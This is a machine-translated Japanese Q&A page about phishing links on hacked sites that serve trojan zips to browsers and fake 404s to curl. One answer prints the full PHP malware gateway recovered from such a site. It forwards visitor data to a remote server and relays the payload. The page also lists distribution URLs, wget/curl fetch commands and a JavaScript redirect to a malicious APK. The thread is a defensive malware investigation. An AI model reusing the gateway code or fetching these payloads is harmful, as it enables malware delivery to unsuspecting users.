web-dev-qa-db-ja.com

ブラウザに応答するがカールやwgetには対応しない悪意のあるリンク

マルウェアがダウンロードされた、人々のクラックされたWebサイトへのリンクが記載された電子メールがいくつかあります

この種のメールのように: 偽のDHLパックステーションメール

...リンクは多くの場合、次の形式を取ります。

http:// www.mandyhank.com /sbfdiqr.php?get_info=ss00_323
http:// sasfamily.com /fpxlcaj.php?get_info=ss00_323
http:// tfdesignsandpcrepair.com /dinwnle.php?get_info=ss00_323

そして、サイトが停止または修正されるまで、ブラウザを使用して、exeトロイの木馬を含むZipファイルをダウンロードします。

しかし、それを取得またはカールしようとすると、次のようになります。

Not Found
The requested URL was not found on this server.

Curlで私のブラウザーから同じユーザーエージェント文字列を使用しようとしました。ランディングページHTMLのコピーを取得して、それを最後までたどるにはどうすればよいですか?私はそれがJSのものであることを疑います、私のブラウザーはJSを無効にして実行されます。

21
user145837

TrendMicroの分析によると、これはAsproxボットネットの一部です。

詳細:
http://rebsnippets.blogspot.com/asprox
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-asprox-reborn.pdf

1
Michal Ambroz

ウェブサイトはユーザーエージェントのみをチェックしているようです。私は以下を試しました

wget --user-agent="Mozilla/5.0 (Windows NT 5.2; rv:2.0.1) Gecko/20100101 Firefox/4.0.1" "http://tfdesignsandpcrepair.com/dinwnle.php?get_info=ss00_323" -O file.Zip

そしてそれは働いているようです

enter image description here

1つの可能性として、有効なUser-Agentなしで何度も試行したためにサーバーが最終的にIPをブロックし、リクエストに関係なく404が返される可能性があります。

pdate:はい、それが理由のようです。ファイルのダウンロードに3回成功すると、サーバーは偽の404をスローし始めました。プロキシを使用したところ、同じ動作に気づきました。 3回のダウンロードが成功した後、長さが153の応答に以下が含まれます。

<html><head><title>404 Not Found</title></head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
</body></html>
26
Adi

ページを表示するかどうかを決定する前に、ユーザーエージェントが見ているヘッダーや、ユーザーが見ている唯一のヘッダーではない可能性があります。ブラウザからヘッダーの完全なセットをコピーし、リクエストとともにそれらすべてを送信すると、より良い機会が得られる可能性があります。

それが機能する場合は、ヘッダーセットのさまざまな組み合わせを試して、キーイングしている特定のヘッダーを特定できます。

8
Xander

Burp のようなプロキシを実行しているときにブラウザからページをリクエストすると、ページのコンテンツを取得できます。

また、リピーター機能を使用してブラウザーなしで再生できるという有効な要求を提供します。

8
Rory McCune

ウェブマスターからget.phpファイルが送られてきました。したがって、ウイルスのダウンロードは別のサーバーから行われるため、ペイロードは別の場所で生成できます。そして、以下の条件が満たされない限り、偽の404を取得します。中央のウイルスサーバーが希望する場合は、偽の404を取得します。

文字通り何百ものWebサイトがあり、これらのスクリプトはまだありますPHPスクリプトですが、404によりクリーンアップされたように見えます。

ウイルスサーバーが要求を追跡し、必要なものに基づいて要求しているIPを「禁止」できると思います。あまりにも多くの悪いユーザーエージェントや逆引きDNSのように。

次に行う必要があるのは、これらのより多くのPHPスクリプトをコンパイルし、ウイルスサーバーのリストを取得し、それらを削除して、それらがどのように機能するかを確認する必要があります。

<?php
error_reporting(0);
ini_set("display_errors", 0);

$remote = 'http://62.109.31.142/request12.php';

php_display($remote);

error_404();

function php_display($url)
{    
    $query = array();
    $query['ip'] = getIp();
    $query['time'] = date('d/M/Y:H:i:s', time());
    $query['request'] = getRequest();
    $query['path'] = getPath();
    $query['protocol'] = getProtocol();
    $query['useragent'] = getUseragent();
    $query['referer'] = getReferer();

    $url = $url."?".http_build_query($query);

    $content = @file_get_contents($url);

    if(empty($content) OR stripos($content, "error") !== FALSE)
    {
        error_404();
    }

    $content = explode("\n", $content);
    $filename = array_shift($content);
    $content = implode("\n", $content);

    $type = 'application/Zip';
    header('Content-Type:'.$type);
    header('Content-Disposition: attachment; filename='.$filename);
    header('Content-Length: '.  strlen($content));
    echo $content;
    exit();
}

function error_404()
{
    header("HTTP/1.1 404 Not Found");
    exit("<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\r\n"
            ."<html><head><title>404 Not Found</title></head><body>\r\n"
            ."<h1>Not Found</h1>\r\n"
            ."<p>The requested URL was not found on this server.</p>\r\n"
            ."<hr>\r\n"
            ."</body></html>\r\n");
}

function getRequest()
{
    return $_SERVER['REQUEST_METHOD'];
}

function getPath()
{
    return $_SERVER['REQUEST_URI'];
}

function getProtocol()
{
    return $_SERVER['SERVER_PROTOCOL'];
}

function getUseragent()
{
    return $_SERVER['HTTP_USER_AGENT'];
}

function getReferer()
{
    $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '-';
    return $referer;    
}

function getIp()
{
    $ip = NULL;
    if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
    {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    elseif(isset($_SERVER['HTTP_CLIENT_IP']))
    {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    }
    elseif(isset($_SERVER['REMOTE_ADDR']))
    {
        $ip = $_SERVER['REMOTE_ADDR'];
    }

    if(strpos($ip, ",") !== FALSE)
    {
        $ips = explode(",", $ip);
        $ip = trim(array_pop($ips));
    }

    return $ip;
}

また、モバイルユーザーエージェントによっては、別のものが得られます。

  wget --user-agent="Mozilla/5.0 (Windows; U; Windows NT 6.1; fr;
     rv:1.9.2.18) Gecko/20110614 Mozilla/5.0 (Android; Linux armv7l;
     rv:5.0) Gecko/20110615 Firefox/5.0 Fennec/5.0" 
  "http:// archaicguru.ca /img / get.php?info=867_124381713"

... www.appsoluteconcepts.comに送信されます

2013年5月23日更新。

私が走った:

http:// dekadolstermennekes.nl /templates /rssgets.php?get_info=ss00_323

これを通して:

`curl -o #{domain}/winff.out -A "Mozilla/5.0 (Windows NT 5.1; rv:21.0)   
   Gecko/20130401 Firefox/21.0" "#{url}"`

 `curl -o #{domain}/winie8.out -A "Mozilla/5.0 (compatible; MSIE 8.0; 
    Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 
    3.3.69573; WOW64; en-US)" "#{url}"`

 `curl -o #{domain}/linff.out -A "Mozilla/5.0 (X11; Ubuntu; Linux i686; 
    rv:20.0) Gecko/20100101 Firefox/20.0" "#{url}"`

  `curl -o #{domain}/droidAWK.out -A "Mozilla/5.0 (Linux; U; Android 2.2.1; 
     en-ca; LG-P505R Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) 
     Version/4.0 Mobile Safari/533.1" "#{url}"`

Windows、Linux、Macの両方で偽の404を取得しました。 2つのAndroid UAの場合、JavaScriptのおかげで他の場所でホストされているAPKを取得しました。

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
 <html>
 <head>

 <meta content="text/html; charset=Windows-1251" http-equiv="content-type">
 <title></title>

 </head>
 <body>

 <script language="JavaScript">
 <!--
   window.location=" http:// bahnsinn-hattersheim.de /mediapool /85/859783 
      /resources/pictures/Application.apk";
  //-->
  </script>
</body>

.apkファイルは約2176026バイト、MD5 3ffa39687b28f3e6993fe6ae218b91c9ですが、それを使用して1337スキルを実行できません。

2
user145837

接続はhttpsを使用していないため、wiresharkを使用してパケットキャプチャを行います。キャプチャを取得したら、http転送に関連するパケットを右クリックして、「TCP Streamをフォローする」を選択します。ブラウザ/システムがサーバーと行った色分けされた会話が表示されます。

0
chuck